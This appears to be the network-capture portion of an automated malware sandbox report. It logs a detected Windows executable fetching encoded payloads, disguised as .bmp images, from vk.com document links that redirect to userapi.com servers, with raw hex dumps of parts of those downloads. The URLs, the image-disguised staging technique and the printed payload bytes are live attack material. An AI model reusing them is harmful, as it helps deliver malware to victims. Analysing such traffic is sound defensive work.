2024-05-24 11:42:10 UTC	1220	IN	HTTP/1.1 302 Found Server: kittenx Date: Fri, 24 May 2024 11:42:10 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: close X-Powered-By: KPHP/7.4.116875 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Wed, 21 May 2025 18:39:21 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9066764312044470324_daatfmX0uH8TjzBO1A1l2ehRZhUZfs9ws8qLq6UWfq4; expires=Sat, 24 May 2025 11:42:10 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixir=1; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Cache-control: no-store X-Robots-Tag: noindex,nofollow Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Location: https://sun6-23.userapi.com/c240331/u863235369/docs/d9/9b11db64d68a/crypted.bmp?extra=RIXI9ZURxHbNwKar7u7Vp3l2dMCuYUwn0vqVroE0voOrsaN1719tcchE2pJ4nDtRX4j2DtEPIi3H17jMoIXTJ8zfYSG59wyRLl4e9qdl0CyQjQrOrgQQEHUCRd047rb5MQJh_O0D4ay8NQ X-Frontend: front925000 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: BtQDlp4abJ0iBtQ92QGvKJdVZ0jSEA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49786	87.240.132.72	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:11 UTC	319	OUT	GET /doc5294803_669847023?hash=ryX3Kg1W9ePIkzc6vvqmcK7uQKdsrG6gPWaYos4CQF0&dl=8t55Ziv6zwGeFneQ1ShZz8YDtAOk4NoUJHmfXbyHjg0&api=1&no_preview=1#1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: vk.com Cache-Control: no-cache
2024-05-24 11:42:11 UTC	1216	IN	HTTP/1.1 302 Found Server: kittenx Date: Fri, 24 May 2024 11:42:11 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: close X-Powered-By: KPHP/7.4.116875 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Tue, 20 May 2025 18:33:54 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9086467560415312987_t9FZwAToncKptsXg3lMNr6ObJLk9gWwdFIoLGq3XzUg; expires=Sat, 24 May 2025 11:42:11 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixir=1; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Cache-control: no-store X-Robots-Tag: noindex,nofollow Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Location: https://sun6-23.userapi.com/c909218/u5294803/docs/d58/ae5f17aaecea/crypted.bmp?extra=2KtOsB7RPudhbLUiz0Fys2PnIlSBTnlmpq43sc12T9y5CND5ezdfQbzCDXj4m2UqxmVW2xtpV4S3JDPliqUnfG4acaoLrf78ko6IxDOXK498n-XznH5kK5CQ_NiPX2pbqaTIAO6neyg X-Frontend: front923304 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: 00LypYeGOkOgt1tsU4ptpjIFibTJCQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49787	95.142.206.3	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:11 UTC	419	OUT	GET /c240331/u863235369/docs/d9/9b11db64d68a/crypted.bmp?extra=RIXI9ZURxHbNwKar7u7Vp3l2dMCuYUwn0vqVroE0voOrsaN1719tcchE2pJ4nDtRX4j2DtEPIi3H17jMoIXTJ8zfYSG59wyRLl4e9qdl0CyQjQrOrgQQEHUCRd047rb5MQJh_O0D4ay8NQ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: sun6-23.userapi.com Connection: Keep-Alive
2024-05-24 11:42:11 UTC	585	IN	HTTP/1.1 200 OK Server: kittenx Date: Fri, 24 May 2024 11:42:11 GMT Content-Type: image/x-ms-bmp Content-Length: 363524 Connection: close Last-Modified: Thu, 23 May 2024 16:10:14 GMT ETag: "664f6a66-58c04" Expires: Sun, 23 Jun 2024 11:42:11 GMT Cache-Control: max-age=2592000 X-Frontend: front6-23 Access-Control-Expose-Headers: X-Frontend Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, OPTIONS Strict-Transport-Security: max-age=15768000 Access-Control-Allow-Headers: X-Quic X-Trace-Id: FTG5l32dEy5KDYg5hPSjpXvgNOcQcw Accept-Ranges: bytes
2024-05-24 11:42:11 UTC	15799	IN	Data Raw: dd cc 66 55 58 4f 85 15 16 15 15 15 11 15 15 15 ea ea 15 15 ad 15 15 15 15 15 15 15 ff 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 e5 15 15 15 1b 80 af 1b 15 a1 1c d8 34 ad 14 59 d8 34 41 7d 7c 66 35 65 67 7a 72 67 74 78 35 76 74 7b 7b 7a 61 35 77 70 35 67 60 7b 35 7c 7b 35 51 5a 46 35 78 7a 71 70 3b 18 18 1f 31 15 15 15 15 15 15 15 5c 99 6a 3a 18 f8 04 69 18 f8 04 69 18 f8 04 69 cb 8a 07 68 14 f8 04 69 cb 8a 0a 68 bf f8 04 69 cb 8a 55 68 0d f8 04 69 cb 8a 01 68 1b f8 04 69 18 f8 01 69 43 f8 04 69 da 79 55 68 80 f8 04 69 da 79 07 68 0c f8 04 69 da 79 0a 68 ff f8 04 69 eb 7a 0a 68 19 f8 04 69 eb 7a 06 68 19 f8 04 69 47 7c 76 7d 18 f8 04 69 15 15 15 15 15 15 15 15 45 50 15 15 59 14 10 15 67 5f 5a Data Ascii: fUXO4Y4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;1\j:iiihihiUhihiiCiyUhiyhiyhizhizhiG\|v}iEPYg_Z
2024-05-24 11:42:11 UTC	16384	IN	Data Raw: 1a 81 d4 9e d4 d6 9e 70 de d2 50 e9 eb ea ea ea 27 d5 9e 58 e5 71 9c 18 15 15 15 15 4c 4a 4b 4e dc d6 40 9e f9 de 0c 1d 15 15 90 d5 61 1a 95 68 1d 15 60 1c 26 d5 ac 7d b3 50 15 92 14 48 d6 40 9e f9 95 28 79 b3 50 15 15 61 13 95 68 19 15 60 07 ea 60 1d de ca 81 15 15 ea 60 1d de fc 38 15 15 4c 4c a5 14 48 d6 40 9e f9 96 28 65 b3 50 15 ea ea 60 1d 60 12 de 15 86 15 15 fe 1e 7d 65 b3 50 15 de 64 86 15 15 4c e2 cd 4c 0e d5 e2 c5 36 50 1d 48 d6 40 9e f9 ea 60 1d de dd ea ea ea e2 cd 4c 0e d5 e2 cd 5d 48 d6 d9 d9 d9 d9 44 98 59 31 1d 3e dd 96 f4 1a 16 d4 0e dc 1e d4 4c fc 8f 12 15 15 44 98 59 31 1d 3e dd 96 f4 12 16 d4 0e dc 1e d4 4c fc 91 12 15 15 40 9e f9 96 30 9d b3 50 15 15 96 f9 31 96 18 45 00 50 15 14 7f 1f ea 55 51 c5 54 15 90 d5 1a 91 b9 14 15 15 96 70 Data Ascii: pP'XqLJKN@ah`&}PH@(yPah```8LLH@(eP``}ePdLL6PH@`L]HDY1>LDY1>L@0P1EPUQTp
2024-05-24 11:42:11 UTC	16384	IN	Data Raw: 54 15 90 d5 61 c2 9e 40 ed 9e dd 92 1f fe c0 40 9e f9 7d 15 1d 15 15 7f 15 ea 60 1d ea 55 b1 c5 54 15 90 d5 60 27 ea 55 91 c5 54 15 96 ed 42 60 30 7f 12 7d 21 f9 54 15 ea 60 1d de f0 49 15 15 96 d1 19 90 d5 61 1a 7f 15 7f 15 ea 60 1d ea 55 b1 c5 54 15 48 d6 26 d5 48 d6 40 9e f9 43 7d 59 f9 54 15 7d 51 f9 54 15 7d 59 f9 54 15 7f 15 de ee eb ea ea 9e e5 96 d1 01 90 e3 61 01 ea 60 1d 9e db ea 55 ff c4 54 15 ea c3 4b 48 d6 4b 48 ea 30 85 c5 54 15 40 9e f9 43 7d 75 f9 54 15 7d 4d f9 54 15 7d 75 f9 54 15 7f 14 de d5 eb ea ea 96 d1 01 9e e5 ea 60 1d 90 e3 61 19 9e db ea 55 ff c4 54 15 ea c3 fe 13 ea 55 89 c5 54 15 4b 48 d6 40 9e f9 43 7d 65 f9 54 15 7d 7d f9 54 15 7d 65 f9 54 15 7f 17 de 90 eb ea ea 96 d1 01 9e e5 ea 60 1d 90 e3 61 19 9e db ea 55 ff c4 54 15 ea Data Ascii: Ta@@}`UT`'UTB`0}!T`Ia`UTH&H@C}YT}QT}YTa`UTKHKH0T@C}uT}MT}uT`aUTUTKH@C}eT}}T}eT`aUT
2024-05-24 11:42:11 UTC	16384	IN	Data Raw: 73 2e 04 60 0b 73 90 c7 61 55 73 9e 45 17 73 2e 44 17 60 1a 96 d5 11 96 d4 11 73 90 c7 60 cb 26 d5 fe 10 0e d5 96 dd 14 90 d5 1a 91 7b 17 15 15 9e 90 31 eb ea ea 9e db 73 9e 01 73 2e 04 60 0b 73 90 c7 61 55 73 9e 45 17 73 2e 44 17 60 1a 96 d5 11 96 d4 11 73 90 c7 60 cb 26 d5 fe 10 0e d5 96 dd 14 90 d5 1a 91 26 17 15 15 de b8 3f 15 15 26 ce 91 d5 98 90 25 eb ea ea 43 45 1a 81 d6 de dd e9 ea ea 4c 4c 90 d5 60 6c 98 90 25 eb ea ea 90 ce 9e 88 39 eb ea ea 45 46 45 61 12 de 03 b8 15 15 fe 10 de be b6 15 15 96 d1 19 90 d5 61 4c 9e 88 3d eb ea ea 98 90 25 eb ea ea 45 7d 96 15 15 15 46 de 0a e9 ea ea 98 98 45 ea ea ea 96 d1 19 98 44 17 73 9e 14 96 d4 17 73 2e 90 35 eb ea ea 60 e4 3e df c4 ec 98 54 14 45 98 90 45 ea ea ea 45 98 98 11 eb ea ea de 0d ee ea ea 52 fc Data Ascii: s.`saUsEs.D`s`&{1ss.`saUsEs.D`s`&&?&%CELL`l%9EFEaaL=%E}FEDss.5`>TEEER
2024-05-24 11:42:11 UTC	16384	IN	Data Raw: 15 96 dd ea 1e c5 fe 5b 9e 60 1d 9e 58 f9 9e 40 de 9e d7 1e 50 e9 61 2f 9e 53 19 85 bd 14 61 03 ea 60 19 44 46 ea 60 e9 47 ea 60 1d de 3f 15 15 15 96 d1 0d fe 35 95 68 ed 14 60 04 42 7f 17 44 46 de 42 b7 15 15 9e df 9e cd 9e 40 de 16 cf 06 58 e9 9e d6 9e c4 4b 4e 4a dc d6 9e ea 40 9e f9 96 f9 35 46 43 42 ea 60 1d de 0d fb ea ea 9e e5 d2 50 f9 17 15 15 15 4c d4 ed 13 9e db 96 f4 2a 9c 50 f5 7e dc 2d 26 ce 56 26 ea 9e 11 90 25 bb 50 15 9c 50 f1 9c 68 e9 9c 58 de 9f 51 14 3c 9d 50 e5 2f d6 61 16 9c 48 f9 9e 50 1d 9e 5d 1d 9c 58 e1 90 dc 60 1e 9e 50 19 9e 40 01 fc 41 14 15 15 9e 1d 3e 5d 11 9e d4 8c 9e dd 9c 40 ed 9e 50 e1 8c 16 dd 9e 50 ed 9c 58 e1 9e 58 f1 06 d7 9e 40 de 9c 50 ed 95 69 1f 3d 15 9e 58 e1 69 18 ea 60 e9 9e 48 f9 46 45 fc e3 15 15 15 ea 60 09 Data Ascii: [`X@Pa/Sa`DF`G`?5h`BDFB@XKNJ@5FCB`PL*P~-&V&%PPhXQ<P/aHP]X`P@A>]@PPXX@Pi=Xi`HFE`
2024-05-24 11:42:11 UTC	16384	IN	Data Raw: ea ea 42 45 42 98 90 e9 eb ea ea 45 42 ea a3 09 17 15 15 46 de 16 f7 ea ea 96 d1 ff 98 90 e9 e9 ea ea 46 ea 63 11 42 45 42 98 90 e9 eb ea ea 45 7d 15 17 15 15 ea a3 09 17 15 15 46 de ce f4 ea ea 96 d1 31 98 5b 0c 9e c6 7f f2 4d 3e d3 9e e5 1a a2 91 40 e9 ed ea ea bd 14 61 19 95 1c 01 9f 91 55 e9 e8 ea ea fe 07 bd 17 61 19 95 1c 35 9f 91 55 e9 e9 ea ea fe 17 9f d6 9d 94 15 14 15 15 57 54 98 11 1b 2e d2 67 d2 fe 77 7f b3 4d 7f 93 4f 3e c3 98 5b 0c 9c 00 f1 ed ea ea 3e d3 7f f2 4f 3e c3 9c 90 f5 ed ea ea 9e a0 f1 ed ea ea 26 ce aa 15 14 15 15 16 d4 96 ed 0c 62 1d 95 1c 01 98 54 35 fe 1b 98 11 1b 96 ed 0c 62 1f 95 1c 35 98 54 f5 17 d7 fe 17 9f d6 9d 94 15 14 15 15 54 98 11 04 2e d2 9e 90 f5 ed ea ea 67 dc 9e 58 e9 4a 4b 26 d8 4e de 73 e9 eb ea dc d6 9e ea 46 Data Ascii: BEBEBFFcBEBE}F1[M>@aUa5UWT.gwMO>[>O>&bT5b5TT.gXJK&NsF
2024-05-24 11:42:11 UTC	16384	IN	Data Raw: e7 2e ef 61 38 9e d2 3e d7 9c 90 f9 eb ea ea 9e c5 9f 13 98 63 14 9f 59 27 ea 9d 51 27 ea 9d 5b ea 96 fe 14 60 fe 9e 90 15 ea ea ea 9e 00 1d ea ea ea 9e a0 e9 eb ea ea 9e cf 9c 00 11 ea ea ea 2e eb 63 2b fe 12 98 b1 31 15 15 15 15 16 e5 9c a0 e1 eb ea ea 2e e2 66 36 9e 98 ed eb ea ea 42 43 ea 55 ff c4 54 15 ea 00 ed eb ea ea 96 d1 1d 90 d5 9e 90 15 ea ea ea 6b c6 fe 57 9e 00 1d ea ea ea 9e 88 ed eb ea ea fe 16 98 5c 15 16 e5 2e e7 62 80 42 43 9e 05 ea 55 ff c4 54 15 ea c6 9e 00 1d ea ea ea 96 d1 1d 90 d5 9e 90 15 ea ea ea 6b ce 9e 88 11 ea ea ea 9c a0 e1 eb ea ea 9e a0 ed eb ea ea fe 12 98 b1 31 15 15 15 15 9e 90 15 ea ea ea 9e 05 3e cd 9c 98 11 ea ea ea 2e ca 63 80 42 46 9e db ea 55 ff c4 54 15 ea c3 96 d1 1d 90 d5 6a cc 9e 90 15 ea ea ea 9e 98 11 ea ea Data Ascii: .a8>cY'Q'[`.c+1.f6BCUTkW\.bBCUTk1>.cBFUTj
2024-05-24 11:42:11 UTC	16384	IN	Data Raw: 18 18 18 18 18 18 15 15 15 0a 5d 57 15 f6 52 ff 15 bd b3 50 15 ed b3 50 15 81 49 ff 15 49 5d 57 15 7d 80 ff 15 db 0b ff 15 77 74 71 35 70 6d 76 70 65 61 7c 7a 7b 15 15 15 15 15 15 15 6d f0 54 15 1d 15 15 15 91 f0 54 15 12 15 15 15 99 f0 54 15 1d 15 15 15 8d f0 54 15 1c 15 15 15 b1 f0 54 15 1f 15 15 15 a5 f0 54 15 1f 15 15 15 a9 f0 54 15 19 15 15 15 d9 f0 54 15 1c 15 15 15 cd f0 54 15 13 15 15 15 f5 f0 54 15 1c 15 15 15 f9 f0 54 15 1c 15 15 15 ed f0 54 15 1c 15 15 15 11 f3 54 15 12 15 15 15 19 f3 54 15 1f 15 15 15 0d f3 54 15 1e 15 15 15 31 f3 54 15 1c 15 15 15 f9 cb 54 15 15 15 15 15 25 f3 54 15 11 15 15 15 2d f3 54 15 12 15 15 15 ff f3 54 15 14 15 15 15 51 f3 54 15 17 15 15 15 5d f3 54 15 17 15 15 15 59 f3 54 15 14 15 15 15 45 f3 54 15 17 15 15 15 41 f3 Data Ascii: ]WRPPII]W}wtq5pmvpea\|z{mTTTTTTTTTTTTTTT1TT%T-TTQT]TYTETA
2024-05-24 11:42:11 UTC	16384	IN	Data Raw: 15 56 15 6c 15 67 15 79 15 15 15 15 15 66 15 70 15 38 15 53 15 5c 15 15 15 64 15 60 15 6f 15 38 15 45 15 50 15 15 15 15 15 74 15 67 15 38 15 59 15 4c 15 15 15 6f 15 7d 15 38 15 46 15 52 15 15 15 71 15 70 15 38 15 59 15 40 15 15 15 70 15 7b 15 38 15 56 15 54 15 15 15 70 15 66 15 38 15 52 15 41 15 15 15 73 15 67 15 38 15 56 15 5d 15 15 15 7d 15 67 15 38 15 57 15 54 15 15 15 66 15 78 15 7f 15 38 15 5b 15 5a 15 15 15 15 15 74 15 67 15 38 15 51 15 4f 15 15 15 6f 15 7d 15 38 15 58 15 5a 15 15 15 71 15 70 15 38 15 59 15 5c 15 15 15 70 15 7b 15 38 15 5b 15 4f 15 15 15 70 15 66 15 38 15 56 15 47 15 15 15 73 15 67 15 38 15 59 15 40 15 15 15 77 15 66 15 38 15 57 15 54 15 38 15 59 15 74 15 61 15 7b 15 15 15 15 15 66 15 78 15 7f 15 38 15 46 15 50 15 15 15 15 15 74 15 Data Ascii: Vlgyfp8S\d`o8EPtg8YLo}8FRqp8Y@p{8VTpf8RAsg8V]}g8WTfx8[Ztg8QOo}8XZqp8Y\p{8[Opf8VGsg8Y@wf8WT8Yta{fx8FPt
2024-05-24 11:42:11 UTC	16384	IN	Data Raw: 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 c4 80 b4 4b 82 23 78 e2 57 1d 64 d9 c6 13 3e 8d 2d c1 a0 ae 96 76 1c d0 48 ed ce b7 9d f7 ac 3e c5 04 8a 8c bf 15 15 15 1e cc 11 10 36 f5 2e 18 2d 34 a2 65 12 fe 8a 14 a9 fb ee c4 25 e0 c8 2e 83 b2 51 3e ac ee 6f 5a a6 03 b6 ff 9b f8 1c 0a 65 6c 10 1e 1f 92 07 a9 3c fc 2a 33 2a ce 21 a9 14 f7 ce ad 5b 70 88 28 8f c4 01 16 e3 f4 c5 69 9c cf 2b 94 9f 42 81 ce f4 45 15 0e f4 bc 2e ab 9d 7e 0b db ef f7 92 79 7c c3 29 09 b8 bc 74 ab e2 26 9d 6e 52 a3 2c fb 55 55 06 43 e4 9e 3c df 52 0b 3c b0 ae 0c 15 7c 3b 0a d0 11 92 4c a7 47 82 bf Data Ascii: K#xWd>-vH>6.-4e%.Q>oZel<3![p(i+BE.~y\|)t&nR,UUC<R<\|;LG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49788	87.240.132.72	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:11 UTC	322	OUT	GET /doc5294803_669843349?hash=9zPjskz2rlw4WpxESbjigfNghvMBCG7BIpLthkH7eKs&dl=usJOnLsECNfeEiGdn2IU9JTEdwqaRFTDnZMFQJn7v9z&api=1&no_preview=1#ww11 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: vk.com Cache-Control: no-cache
2024-05-24 11:42:12 UTC	1216	IN	HTTP/1.1 302 Found Server: kittenx Date: Fri, 24 May 2024 11:42:11 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: close X-Powered-By: KPHP/7.4.116875 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Tue, 20 May 2025 04:42:11 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9056771950373040128_ldNn522mdhF8uGegCdvxfr7mZFpUKJrxkb85Bd0ri3g; expires=Sat, 24 May 2025 11:42:11 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixir=1; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Cache-control: no-store X-Robots-Tag: noindex,nofollow Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Location: https://sun6-21.userapi.com/c909618/u5294803/docs/d8/2a65b6d566b9/WWW11_32.bmp?extra=pQTODAN8utbcf_qh_j-eyneT5bGzHFGQMGblKM3jXRqtJHrOY3IDdcjoF5zP25fxziAva3znutva08nNZJqaW4Uz1Iik83EUDVvJ0j2-8jRz3VHyIyqSgoQJ0PIBZD5yYwFOMWsgUwY X-Frontend: front920200 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: qEj2w5niWNDdfFOIgNCI__SGWIeUcA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49790	87.240.132.72	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:12 UTC	321	OUT	GET /doc5294803_669807694?hash=Sn8Y90pAESSpLPWQN3oshZSPomEZcURQihWHxCR6EjD&dl=cVTIDd6TPX72ywkW7u7PbZtLlsjRwOLHc5jbY8rzWiw&api=1&no_preview=1#015 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: vk.com Cache-Control: no-cache
2024-05-24 11:42:12 UTC	1234	IN	HTTP/1.1 302 Found Server: kittenx Date: Fri, 24 May 2024 11:42:12 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: close X-Powered-By: KPHP/7.4.116875 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Fri, 30 May 2025 03:58:06 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9054801625536589164_f9sGp4YBZHZRLnvZZ1Z5sDdLuiL0M7ikgNY6pxTfH3w; expires=Sat, 24 May 2025 11:42:12 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixir=1; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Cache-control: no-store X-Robots-Tag: noindex,nofollow Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Location: https://sun6-20.userapi.com/c909228/u5294803/docs/d35/91095a9a6f06/gewgdggrwh_20240521161330.bmp?extra=SFJQpepKYVBEpZ9-a9sx0fEFfCvtpM1ZI1QeNmMqjWC-GwKgYChdG8ruOMIBbckkR_3ALqVMa2SKrfLtlfcGDlIfuI8GTvUeIity5hjubw0rRzXVmp4JW2WtG0VPysJ8Ykqmv1BvGsI X-Frontend: front925000 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: BN1PPQn_Oz0aeOusLqoEL-sNqUG58A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49789	95.142.206.3	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:12 UTC	415	OUT	GET /c909218/u5294803/docs/d58/ae5f17aaecea/crypted.bmp?extra=2KtOsB7RPudhbLUiz0Fys2PnIlSBTnlmpq43sc12T9y5CND5ezdfQbzCDXj4m2UqxmVW2xtpV4S3JDPliqUnfG4acaoLrf78ko6IxDOXK498n-XznH5kK5CQ_NiPX2pbqaTIAO6neyg HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: sun6-23.userapi.com Connection: Keep-Alive
2024-05-24 11:42:12 UTC	585	IN	HTTP/1.1 200 OK Server: kittenx Date: Fri, 24 May 2024 11:42:12 GMT Content-Type: image/x-ms-bmp Content-Length: 470532 Connection: close Last-Modified: Wed, 22 May 2024 15:55:03 GMT ETag: "664e1557-72e04" Expires: Sun, 23 Jun 2024 11:42:12 GMT Cache-Control: max-age=2592000 X-Frontend: front6-23 Access-Control-Expose-Headers: X-Frontend Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, OPTIONS Strict-Transport-Security: max-age=15768000 Access-Control-Allow-Headers: X-Quic X-Trace-Id: pE0ATSSBAED3Xl3AkrogWqRmrvpLMw Accept-Ranges: bytes
2024-05-24 11:42:12 UTC	15799	IN	Data Raw: dd cc 66 55 58 4f 85 15 16 15 15 15 11 15 15 15 ea ea 15 15 ad 15 15 15 15 15 15 15 ff 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 e5 15 15 15 1b 80 af 1b 15 a1 1c d8 34 ad 14 59 d8 34 41 7d 7c 66 35 65 67 7a 72 67 74 78 35 76 74 7b 7b 7a 61 35 77 70 35 67 60 7b 35 7c 7b 35 51 5a 46 35 78 7a 71 70 3b 18 18 1f 31 15 15 15 15 15 15 15 7f 59 31 6a 3b 38 5f 39 3b 38 5f 39 3b 38 5f 39 e8 4a 5c 38 37 38 5f 39 e8 4a 5a 38 9c 38 5f 39 e8 4a 5b 38 2e 38 5f 39 e8 4a 5e 38 38 38 5f 39 3b 38 5e 39 60 38 5f 39 f9 b9 5b 38 29 38 5f 39 f9 b9 5c 38 2f 38 5f 39 f9 b9 5a 38 75 38 5f 39 c8 ba 5a 38 3a 38 5f 39 c8 ba 5d 38 3a 38 5f 39 47 7c 76 7d 3b 38 5f 39 15 15 15 15 15 15 15 15 45 50 15 15 59 14 10 15 0a 0a 5b Data Ascii: fUXO4Y4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;1Y1j;8_9;8_9;8_9J\878_9JZ88_9J[8.8_9J^888_9;8^9`8_9[8)8_9\8/8_9Z8u8_9Z8:8_9]8:8_9G\|v};8_9EPY[
2024-05-24 11:42:12 UTC	16384	IN	Data Raw: 71 b6 15 15 15 15 d6 45 71 ea 20 15 15 15 15 98 51 31 19 3e 71 31 19 46 43 42 9c 3d 9e de b4 15 20 52 15 26 d0 45 9c 50 e5 ea 60 e9 d2 50 e9 ea ea ea ea 98 50 e1 71 b6 15 15 15 15 d6 45 71 ea 20 15 15 15 15 98 51 31 19 3e 71 31 19 46 43 42 9c 3d 9e de b4 15 20 52 15 26 d0 45 9c 70 e5 ea 60 e9 d2 50 e9 ea ea ea ea 98 50 e1 71 b6 15 15 15 15 d6 40 9e f9 e3 50 1d 14 43 9e e4 d2 13 cd f4 54 15 61 1f 7f 19 43 de 1d ea ea ea 4c 4c 9e d3 4b 48 d7 11 15 fc f1 12 15 15 40 9e f9 9e 50 1d 43 9e 5d 29 16 dd 1a a2 54 0a 98 44 0d 16 c5 1a a2 54 13 7e e5 3d 16 e7 2e c3 61 0c 9e 58 19 2e 5f 19 67 1f 9e 57 1d 16 57 19 2e dd 67 19 96 d7 3d 2e c3 60 fd 26 d5 4b 48 d6 9e d7 fe ec 43 de 89 1c 15 15 90 d5 61 35 71 b4 0d 15 15 15 ab 0d 52 52 15 9e 45 11 fe 11 2e c5 61 01 26 d5 Data Ascii: qEq Q1>q1FCB= R&EP`PPqEq Q1>q1FCB= R&Ep`PPq@PCTaCLLKH@PC])TDT~=.aX._gWW.g=.`&KHCa5qRRE.a&
2024-05-24 11:42:12 UTC	16384	IN	Data Raw: 51 31 25 9e 4d 1d 9e 59 31 39 26 0c 9e 65 19 96 eb eb 1a 91 53 15 15 15 9e 41 31 21 96 ef eb 61 1d 2e e7 1a 93 20 15 15 15 98 21 63 98 49 a6 01 9e 1e 9c 5d 19 96 6e 11 15 1a 90 d5 ea ea ea 7d 14 14 15 15 9e 56 1d de c4 16 15 15 ac 14 15 15 15 9e 56 1d de f1 16 15 15 fc b4 ea ea ea 71 9a 10 15 15 15 15 96 d1 0d 4a 4b 4e d6 d9 9e 59 31 11 e2 54 11 13 15 15 15 ad 14 15 15 15 61 26 9e 51 31 1d 9e 5d 1d 26 dd de 03 aa ea ea 40 9e 7d 0d ea 65 19 ea 65 01 ea 65 0a de 3b ea ea ea 96 d1 19 48 9e 51 31 1d 9e 41 31 01 9c 17 ad 16 15 15 15 d6 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 40 43 42 46 9e fd 26 d5 26 ce 26 c7 26 e3 26 ea ea c4 4e 4a 4b 48 d6 d9 d9 d9 d9 d9 d9 d9 d9 d9 9e fd 9e e4 9e d4 7f 14 de 26 16 15 15 26 d5 26 ce 26 dc 26 c7 26 ea ea f3 d9 d9 d9 d9 d9 d9 d9 40 9e Data Ascii: Q1%MY19&eSA1!a. !cI]n}VVqJKNY1Ta&Q1]&@}eee;HQ1A1@CBF&&&&&NJKH&&&&&&@
